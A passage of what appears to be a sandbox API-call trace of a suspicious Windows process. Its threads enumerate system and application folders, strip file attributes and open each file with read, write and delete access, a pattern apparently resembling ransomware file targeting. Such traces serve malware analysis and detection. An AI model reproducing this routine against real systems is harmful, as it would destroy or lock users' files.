returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*" [0145.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91f968 [0145.144] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9ad0 [0145.551] wcscmp (_String1=".", _String2=".") returned 0 [0145.551] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.551] wcscmp (_String1="..", _String2=".") returned 1 [0145.551] wcscmp (_String1="..", _String2="..") returned 0 [0145.551] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0145.551] wcscmp (_String1="cache.dat", _String2=".") returned 1 [0145.551] wcscmp (_String1="cache.dat", _String2="..") returned 1 [0145.551] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9aec48 [0145.551] wcscpy (in: _Dest=0x9aec48, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0145.551] wcscat (in: _Dest=0x9aec48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0145.551] wcscat (in: _Dest=0x9aec48, _Source="cache.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" [0147.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9aec48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0147.845] FindNextFileW (in: hFindFile=0x8d9ad0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 0 [0147.845] FindClose (in: hFindFile=0x8d9ad0 | out: hFindFile=0x8d9ad0) returned 1 [0147.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f968) returned 1 [0147.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7e68) returned 1 [0147.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7ac0) returned 1 Thread: id = 2301 os_tid = 0x1080 [0145.145] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat")) returned 0x2020 [0145.553] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat", dwFileAttributes=0x20) returned 0 [0145.553] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.553] GetLastError () returned 0x5 [0145.553] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat", dwFileAttributes=0x2020) returned 0 [0145.553] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab5f0) returned 1 Thread: id = 2302 os_tid = 0x1084 [0145.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90efc0 [0145.151] wcscpy (in: _Dest=0x90efc0, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" [0145.151] wcscat (in: _Dest=0x90efc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\" [0145.151] wcscat (in: _Dest=0x90efc0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*" [0145.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91d7b8 [0145.151] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*", lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941f70 [0145.152] wcscmp (_String1=".", _String2=".") returned 0 [0145.152] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.152] wcscmp (_String1="..", _String2=".") returned 1 [0145.152] wcscmp (_String1="..", _String2="..") returned 0 [0145.152] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0145.152] FindClose (in: hFindFile=0x941f70 | out: hFindFile=0x941f70) returned 1 [0145.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d7b8) returned 1 [0145.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90efc0) returned 1 [0145.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8feca8) returned 1 Thread: id = 2303 os_tid = 0x1088 [0145.154] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z")) returned 0x20 [0145.155] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z", dwFileAttributes=0x20) returned 0 [0145.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.155] GetLastError () returned 0x5 [0145.155] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z", dwFileAttributes=0x20) returned 0 [0145.155] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97ae68) returned 1 Thread: id = 2457 os_tid = 0x1300 [0145.892] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d27d0 [0145.892] wcscpy (in: _Dest=0x8d27d0, _Source="C:\\Users\\All Users\\Sun\\Java" | out: _Dest="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java" [0145.893] wcscat (in: _Dest=0x8d27d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\") returned="C:\\Users\\All Users\\Sun\\Java\\" [0145.893] wcscat (in: _Dest=0x8d27d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\*") returned="C:\\Users\\All Users\\Sun\\Java\\*" [0145.893] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bbeb0 [0145.893] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x9bbeb0 | out: lpFindFileData=0x9bbeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b238 [0145.893] wcscmp (_String1=".", _String2=".") returned 0 [0145.893] FindNextFileW (in: hFindFile=0x93b238, lpFindFileData=0x9bbeb0 | out: lpFindFileData=0x9bbeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.893] wcscmp (_String1="..", _String2=".") returned 1 [0145.893] wcscmp (_String1="..", _String2="..") returned 0 [0145.893] FindNextFileW (in: hFindFile=0x93b238, lpFindFileData=0x9bbeb0 | out: lpFindFileData=0x9bbeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0145.893] wcscmp (_String1="Java Update", _String2=".") returned 1 [0145.893] wcscmp (_String1="Java Update", _String2="..") returned 1 [0145.893] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4948 [0145.893] wcscpy (in: _Dest=0x8e4948, _Source="C:\\Users\\All Users\\Sun\\Java" | out: _Dest="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java" [0145.893] wcscat (in: _Dest=0x8e4948, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\") returned="C:\\Users\\All Users\\Sun\\Java\\" [0145.893] wcscat (in: _Dest=0x8e4948, _Source="Java Update" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update" [0153.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50 [0153.560] FindNextFileW (in: hFindFile=0x93b238, lpFindFileData=0x9bbeb0 | out: lpFindFileData=0x9bbeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0153.560] FindClose (in: hFindFile=0x93b238 | out: hFindFile=0x93b238) returned 1 [0153.560] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bbeb0) returned 1 [0153.561] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d27d0) returned 1 [0153.561] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941d70) returned 1 Thread: id = 2458 os_tid = 0x1304 [0145.894] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn")) returned 0x20 [0149.170] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0149.170] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.170] GetLastError () returned 0x5 [0149.170] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0149.171] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7350) returned 1 Thread: id = 2459 os_tid = 0x1308 [0145.894] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn")) returned 0x20 [0149.171] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0149.172] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.172] GetLastError () returned 0x5 [0149.172] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0149.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99cd08) returned 1 Thread: id = 2460 os_tid = 0x130c [0145.895] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn")) returned 0x20 [0149.109] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0149.110] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.110] GetLastError () returned 0x5 [0149.110] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 0 [0149.110] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7f00) returned 1 Thread: id = 2461 os_tid = 0x1310 [0145.895] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.apl")) returned 0x20 [0146.427] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL", dwFileAttributes=0x20) returned 0 [0146.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.apl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.427] GetLastError () returned 0x5 [0146.427] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL", dwFileAttributes=0x20) returned 0 [0146.427] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ea9d8) returned 1 Thread: id = 2462 os_tid = 0x1314 [0145.896] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.crt")) returned 0x20 [0146.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT", dwFileAttributes=0x20) returned 0 [0146.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.crt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.428] GetLastError () returned 0x5 [0146.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT", dwFileAttributes=0x20) returned 0 [0146.429] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f67a8) returned 1 Thread: id = 2463 os_tid = 0x1318 [0145.897] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.csd")) returned 0x20 [0146.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD", dwFileAttributes=0x20) returned 0 [0146.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.csd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.430] GetLastError () returned 0x5 [0146.430] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD", dwFileAttributes=0x20) returned 0 [0146.430] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6870) returned 1 Thread: id = 2464 os_tid = 0x131c [0145.897] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.lts")) returned 0x20 [0146.431] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS", dwFileAttributes=0x20) returned 0 [0146.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.lts"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.431] GetLastError () returned 0x5 [0146.431] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS", dwFileAttributes=0x20) returned 0 [0146.431] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfcf8) returned 1 Thread: id = 2465 os_tid = 0x1320 [0145.901] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.tts")) returned 0x20 [0146.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS", dwFileAttributes=0x20) returned 0 [0146.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.tts"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.435] GetLastError () returned 0x5 [0146.435] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS", dwFileAttributes=0x20) returned 0 [0146.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfdc0) returned 1 Thread: id = 2466 os_tid = 0x1324 [0145.902] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.udt")) returned 0x20 [0146.436] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT", dwFileAttributes=0x20) returned 0 [0146.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.udt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.436] GetLastError () returned 0x5 [0146.436] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT", dwFileAttributes=0x20) returned 0 [0146.436] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfe88) returned 1 Thread: id = 2467 os_tid = 0x1328 [0145.903] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.unt")) returned 0x20 [0146.145] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT", dwFileAttributes=0x20) returned 0 [0146.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.unt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.145] GetLastError () returned 0x5 [0146.145] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT", dwFileAttributes=0x20) returned 0 [0146.145] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c90) returned 1 Thread: id = 2468 os_tid = 0x132c [0145.904] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.wih")) returned 0x20 [0146.146] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH", dwFileAttributes=0x20) returned 0 [0146.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH" (normalized: "c:\\program files (x86)\\common 